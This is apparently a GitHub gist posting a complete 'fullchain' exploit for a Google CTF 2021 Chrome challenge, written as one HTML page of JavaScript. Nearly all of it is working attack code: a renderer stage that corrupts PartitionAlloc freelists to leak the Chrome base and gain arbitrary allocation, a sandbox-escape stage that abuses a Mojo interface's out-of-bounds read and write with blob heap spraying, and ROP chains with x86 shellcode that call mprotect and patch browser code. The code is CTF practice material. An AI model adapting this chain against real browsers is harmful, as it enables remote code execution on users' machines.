Skip to content

Instantly share code, notes, and snippets.

@hkraw
Created January 2, 2022 21:34
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save hkraw/78b86951f8b3e7c6779a8edb6133b0c4 to your computer and use it in GitHub Desktop.
Save hkraw/78b86951f8b3e7c6779a8edb6133b0c4 to your computer and use it in GitHub Desktop.
GoogleCtf 2021 fullchain
<html>
<head>
<title>google-ctf fullchain</title>
</head>
<body>
<h1>HK</h1>
<pre id='log'></pre>
</body>
<script src='./mojo/mojo_bindings.js'></script>
<script src="./mojo/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script src='./mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js'></script>
<script id='helpers'>
const L_pop_rsp = 0xb01caf1n
const L_syscall_ret = 0x800dd77n
const L_pop_rax = 0x36b1bc4n
const L_pop_rdi = 0xb37a33bn
const L_pop_rdx = 0xb8dfaa2n
const L_pop_rsi = 0xb49636fn
let wasm_code = new Uint8Array([
0, 97,115,109, 1, 0, 0, 0, 1,133,128,128,128, 0,
1, 96, 0, 1,127, 3,130,128,128,128, 0, 1, 0, 4,
132,128,128,128, 0, 1,112, 0, 0, 5,131,128,128,128,
0, 1, 0, 1, 6,129,128,128,128, 0, 0, 7,145,128,
128,128, 0,2,6,109,101,109,111,114,121,2,0,4,109,97,
105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,
0,65,42,11
])
var wasmModule = new WebAssembly.Module(wasm_code)
var wasmInstance = new WebAssembly.Instance(wasmModule)
var evilFunc = wasmInstance.exports.main
let conversionBuffer = new ArrayBuffer(0x40)
let floatView = new Float64Array(conversionBuffer)
let intView = new BigUint64Array(conversionBuffer)
let u8View = new Uint8Array(conversionBuffer)
BigInt.prototype.hex = function(){return '0x' + this.toString(16) }
BigInt.prototype.i2f = function(){intView[0] = this;return floatView[0]}
BigInt.prototype.smi2f = function(){intView[0] = this << 32n; return floatView[0] }
BigInt.prototype.shl32 = function(){return this << 32n}
BigInt.prototype.shr32 = function(){return this >> 32n }
String.prototype.to_u64 = function(){
var tmp = this
while(tmp.length%8)
tmp += "\x00"
for(let i = 0; i < 8; i++)
u8View[i] = tmp.charCodeAt(i)
return intView[0]
}
BigInt.prototype.byteSwap = function(){
var result = 0n
var tmp = this
for(let i = 0; i < 8; i++) {
result = result << 8n
result += tmp & 255n
tmp = tmp >> 8n
}
return result
}
BigInt.prototype.not = function() {
var result = 0n
var tmp = this
for(var i = 0; i < 8; i++) {
result = result << 8n
result += (0xffn - (tmp&0xffn))
tmp = tmp >> 8n
}
return result
}
Number.prototype.f2i = function(){floatView[0] = this;return intView[0]}
Number.prototype.f2smi = function(){floatView[0] = this;return intView[0] >> 32n}
Number.prototype.f2il = function(){floatView[0] = this;return intView[0] & 0xffffffffn}
Number.prototype.i2f = function(){return BigInt(this).i2f()}
Number.prototype.smi2f = function(){return BigInt(this).smi2f()}
const getSuperPage = addr =>
addr & (~((1n << 21n) - 1n))
const getPartitionPageBaseWithinSuperPage = ( addr, partitionPageIndex ) =>
getSuperPage(addr) + partitionPageIndex << 14n
const getMetadataArea = addr =>
getSuperPage(addr) + 0x1000n
const getPartitionPageMetadataArea = addr =>
getMetadataArea(addr) +
((addr & ((1n << 21n) - 1n)) >> 14n) * 0x20n
const sleep = ms =>
new Promise(resolve=>setTimeout(resolve,ms))
const gc = () => {
let promise = new Promise((cb)=>{
let arg;
for(let i = 0; i < 50; i++)
new ArrayBuffer(0x100000)
cb(arg)
})
return promise
}
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient,
new ProgressClientImpl(),
progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size,
this.pipe.consumer,
this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await new Promise(resolve=>setTimeout(resolve, 100));
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
})});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
async function heapSpray(
allocator, data, size) {
return Promise.all(
Array(size).fill().map(
() => allocator(data)
));
}
</script>
<script>
if(typeof(Mojo)!=='undefined') {
(async function() {
function createIframe(htmlContent) {
var iframe = document.createElement("iframe")
document.body.appendChild(iframe)
iframe.contentWindow.document.open()
iframe.contentWindow.document.write(htmlContent)
iframe.contentWindow.document.close()
return iframe
}
console.log('Mojo Enabled')
let ctf_ptrs = new Array()
let allocator = getAllocationConstructor()
for(var i = 0; i < 0x10; i++) {
ctf_ptrs.push(new blink.mojom.CtfInterfacePtr())
Mojo.bindInterface(blink.mojom.CtfInterface.name,
mojo.makeRequest(ctf_ptrs[i]).handle)
}
await sleep(1000)
var iframes = []
for(var i = 0; i < 0x10; i++) {
iframes.push(createIframe('<html></html>'))
}
for(var i = 0; i < 0x10; i++) {
await ctf_ptrs[i].resizeVector(0x2400/8)
await ctf_ptrs[i].write(1.1, 0)
await sleep(100)
}
await ctf_ptrs[1].ptr.reset()
await ctf_ptrs[2].ptr.reset()
for(var i = 0; i < 0x3; i++) {
document.body.removeChild(iframes[i])
}
/* RFH OFFSET 0x3bb600 */
let heap_leak = (await ctf_ptrs[0].read((0x4800)/8)).value.f2i().byteSwap()
let superPage = getSuperPage(heap_leak)
let metaPage = getMetadataArea(heap_leak)
let partitionPageMeta = getPartitionPageMetadataArea(heap_leak)
let partition_Base = (heap_leak >> 32n) << 32n
console.log('[+] Heap Leak: 0x' + heap_leak.toString(16))
console.log('[+] MetaPage: 0x'+metaPage.toString(16))
console.log('[+] partitionPageMeta: 0x' + partitionPageMeta.toString(16))
console.log('[+] Partition base: 0x' + partition_Base.toString(16))
await ctf_ptrs[0].write((heap_leak - BigInt(0xae00)).byteSwap().i2f(),0x4800/8)
await ctf_ptrs[0].write((heap_leak - BigInt(0xae00)).not().i2f(), (0x4800/8) + 1)
for(var i = 1; i <= 2; i++) {
ctf_ptrs[i] = new blink.mojom.CtfInterfacePtr()
Mojo.bindInterface(blink.mojom.CtfInterface.name,
mojo.makeRequest(ctf_ptrs[i]).handle)
}
await ctf_ptrs[1].resizeVector(0x2400/8)
await ctf_ptrs[2].resizeVector(0x2400/8) /* OOB to RenderFrameHost */
let chrome_leak = (await ctf_ptrs[2].read((0x4800/8) + 2 )).value.f2i()
let chrome_base = chrome_leak - 0xbc694f0n
console.log('[+] Target Allocation addr: 0x' +(partition_Base + BigInt(0x3bb600)).toString(16))
console.log('[+] Chrome base: 0x'+chrome_base.toString(16))
var shellcode = [
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
]
console.log('shellcode len: 0x'+shellcode.length.toString(16))
let S_code = new ArrayBuffer(0x2400)
let scode_array_uint8 = new Uint8Array(S_code)
for(var i = 0; i < shellcode.length; i++) {
scode_array_uint8[i] = shellcode[i]
}
await sleep(1000)
console.log('Now')
/* Shellcode Vector */
let blob = await heapSpray(allocator, S_code, 1) /* 0xa64000 */
console.log('[+] Shellcode addr: 0x'+ (heap_leak - 0xc000n).toString(16))
let L_ROP = [
(heap_leak - BigInt(0xae00)).i2f(),
(chrome_base + L_pop_rdi).i2f(),
(heap_leak - BigInt(0xc400)).i2f(),
(chrome_base + L_pop_rsi).i2f(),
(0x3000n).i2f(),
(chrome_base + L_pop_rdx).i2f(),
0x7n.i2f(),
(chrome_base + L_pop_rax).i2f(),
0xan.i2f(),
(chrome_base + L_syscall_ret).i2f(),
( (heap_leak - BigInt(0xc000) )).i2f(),
0x41414141n.i2f()
]
for(var i = 0; i < L_ROP.length; i++) {
await ctf_ptrs[2].write(L_ROP[i], i)
}
await ctf_ptrs[2].write((chrome_base + BigInt(0x3d9d013)).i2f(), 0x118/8)
await ctf_ptrs[2].write((heap_leak - BigInt(0xae00)).i2f(), (0x2400/8))
iframes[4].contentWindow.document.open() /* Trigger */
})()
} else {
(async function() {
const partitionAlloc_hook = 0xc3abe10
const wasmInstance_offset = 0x82865c9
const ptrCompare_cage = 0xc37afa0
await gc(); await gc(); await gc(); await gc();
var no_gc = new Array()
var ab1 = new ArrayBuffer(0x10)
var array1 = new Uint8Array(ab1).fill(0x41)
var array2 = new Uint8Array(1)
array2[0] = 0x00
array1.set(array2,0x17)
array2[0] = 0x11
array1.set(array2,0x16)
array2[0] = 0xff
array1.set(array2,0x17+0x8)
array2[0] = 0xee
array1.set(array2,0x17+0x7)
no_gc.push(ab1)
no_gc.push(array2)
no_gc.push(new ArrayBuffer(0x10))
var superPageAllocation = new BigUint64Array(new ArrayBuffer(0x10))
no_gc.push(superPageAllocation)
var tmp_buffer = new ArrayBuffer(0x100)
var arrayBuffer_leak = superPageAllocation[0]
let superPage = getSuperPage(arrayBuffer_leak)
let metaPage = getMetadataArea(arrayBuffer_leak)
let partitionPage = getPartitionPageMetadataArea(arrayBuffer_leak)
console.log('[+] PartitionHeap leak: 0x' + arrayBuffer_leak.toString(16))
console.log('[+] SuperPage: 0x' + superPage.toString(16))
console.log('[+] MetaData Area: 0x' + metaPage.toString(16))
console.log('[+] PartitionPage: 0x' + partitionPage.toString(16))
await gc(); await gc(); await gc(); await gc();
let victim = new Uint8Array(new ArrayBuffer(0x10))
array2[0] = 0x30
victim.set(array2, 0x17)
array2[0] = 0x11
victim.set(array2, 0x16)
array2[0] = 0xff - (0x30)
victim.set(array2, 0x17+0x8)
array2[0] = 0xff - (0x11)
victim.set(array2, 0x17+0x7)
no_gc.push(new ArrayBuffer(0x10))
var leakChromeBuffer = new BigUint64Array(new ArrayBuffer(0x10))
var tmp_buffer = new ArrayBuffer(0x200)
let chrome_leak = leakChromeBuffer[0]
let chrome_base = chrome_leak - 0xc51dbd8n
console.log('[+] Chrome base: 0x' + chrome_base.toString(16))
let arb_alloc_buffer = new ArrayBuffer(0x10)
let arb_typed_arr = new BigUint64Array(arb_alloc_buffer)
let partition = undefined
function arb_alloc(address, size, hookOverride=undefined) {
let victim = new BigUint64Array(new ArrayBuffer(size))
no_gc.push(victim)
arb_typed_arr[0] = BigInt(address).byteSwap()
arb_typed_arr[1] = BigInt(address).not()
if(size != 8) {
victim.set(arb_typed_arr, (size/8))
} else {
victim.set(arb_typed_arr, (size/8)+1)
}
no_gc.push(new ArrayBuffer(size))
return new ArrayBuffer(size)
}
await gc(); await gc(); await gc();
function build_ropchain(arrayBuffer, rop_chain) {
var tmp = 0n
for(var i = 0; i < rop_chain.length; i++) {
tmp = rop_chain[i]
for(var j = 1; j < 9; j++) {
arrayBuffer[i] = Number(tmp&0xffn)
tmp >>= 8n
}
}
}
let L_ROP_CHAIN = new Uint8Array(0x100*8)
let builder = new BigUint64Array(0x100)
builder[1] = chrome_base + 0x7490e83n
builder[0x8] = 0x41414141n
builder[0x9] = 0x41414141n
builder[0xa] = 0x41414141n
builder[0xb] = 0x41414141n
builder[0xc] = chrome_base + L_pop_rdi
builder[0xd] = chrome_base
builder[0xe] = chrome_base + L_pop_rsi
builder[0xf] = 0xc56d000n
builder[0x10] = chrome_base + L_pop_rdx
builder[0x11] = 7n
builder[0x12] = chrome_base + L_pop_rax
builder[0x13] = 0xan
builder[0x14] = chrome_base + L_syscall_ret
builder[0x15] = chrome_base + L_pop_rdi
builder[0x16] = superPage + 0x38000n
builder[0x17] = chrome_base + L_pop_rsi
builder[0x18] = 0x1000n
builder[0x19] = chrome_base + L_pop_rax
builder[0x1a] = 0xan
builder[0x1b] = chrome_base + L_syscall_ret
builder[0x1c] = superPage + 0x38000n
var tmp = 0n
var counter = 1
for(var i = 0; i < builder.length; i++) {
tmp = builder[i]
for(var j = 0; j < 8; j++) {
L_ROP_CHAIN[counter] = Number(tmp&0xffn)
tmp >>= 8n
counter++
}
}
partition_hook = new BigUint64Array(arb_alloc(chrome_base + BigInt(partitionAlloc_hook), 0x30))
const roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1);
function I64ToBytes(num) {
let numh = Number(num/0x100000000n);
let numl = Number(num&0xffffffffn);
var result = [];
for (let j = 0; j < 4; ++j)
result.push((numl >>> 8 * j) & 0xff);
for (let j = 0; j < 4; ++j)
result.push((numh>>> 8 * j) & 0xff);
return result;
}
function flatten(array) {
let result = new Array(array.length),
index = 0,
flattenInternal = (array, result) => {
for (let element of array) {
if (Array.isArray(element))
flattenInternal(element, result)
else result[index++] = element;
}
}
flattenInternal(array, result);
result.length = index;
return result;
}
function prepareBytes(shellcode) {
let flatArray = flatten(shellcode),
roundUpLength = roundUp(flatArray, 8),
result = [];
while (flatArray.length < roundUpLength)
flatArray.push(0x90);
return flatArray;
}
let shellcode = new Uint8Array(prepareBytes([
0x48, 0xbf, I64ToBytes(superPage + BigInt(0x28009)), //mov rdi, rsp holder
0x48, 0xb9, I64ToBytes(chrome_base + BigInt(0x13f7a4f)), //WTF
0x48, 0x8b, 0x27, // mov rsp, [rdi]
0x48, 0x89, 0xe7, // mov rsp, rdi
0x48, 0x89, 0xe5, // mov rbp, rsp
0x48, 0x83, 0xed, 0x20, // sub rbp, 0x20
0x48, 0x83, 0xec, 0x40, // sub rsp, 0x40
0x48, 0xc7, 0xc2, 0x00, 0x10, 0x00, 0x00, // mov rdx, 0x1000
0x48, 0xb8, I64ToBytes(chrome_base + BigInt(partitionAlloc_hook)), // mov rax, base::PartitionAllocHooks::hooks_enabled_
0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, // add rsp, 0xe8
0xc6, 0x00, 0x01, // mov byte ptr [rax], 1
0x48, 0x83, 0xc0, 0x10, // add rax, 0x10
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(L_pop_rdi+1n)), // mov r8, instr ret
0x4c, 0x89, 0x00, // mov qword ptr [rax], r8
0x48, 0x83, 0xc0, 0x08, // add rax, 0x8
0x49, 0xb8, I64ToBytes(0n), // mov r8, 0
0x4c, 0x89, 0x00, // mov qword ptr [rax], r8
0x48, 0x83, 0xc0, 0x08, // add rax, 0x8
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(L_pop_rdi+1n)), // mov r8, instr ret
0x4c, 0x89, 0x00, // mov qword ptr [rax], r8
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0x6100c14)), // mov r8, base::PartitionPurgePage<true>(base::internal::PartitionPage<true>
0x41, 0xc6, 0x00, 0xc3, // mov byte ptr [r8], 0xc3
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0xad8f379)), // mov r8, DidCreateScriptContext()+105
0x66, 0x41, 0xc7, 0x00, 0x90, 0x90, // mov word ptr [r8], 0x9090
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0x5406e60)), //mov r8, SweepFull()
0x41, 0xc6, 0x00, 0xc3, // mov byte ptr [r8], 0xc3
0xc3, // ret
]));
/* xchg rsp, rax */
partition_hook[0] = superPage + BigInt(0x28001)
partition_hook[3] = chrome_base + BigInt(0x3d9d013)
let chrome_data_section = new ArrayBuffer(0x10)
await gc();await gc();await gc();await gc();
location.reload()
})()
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment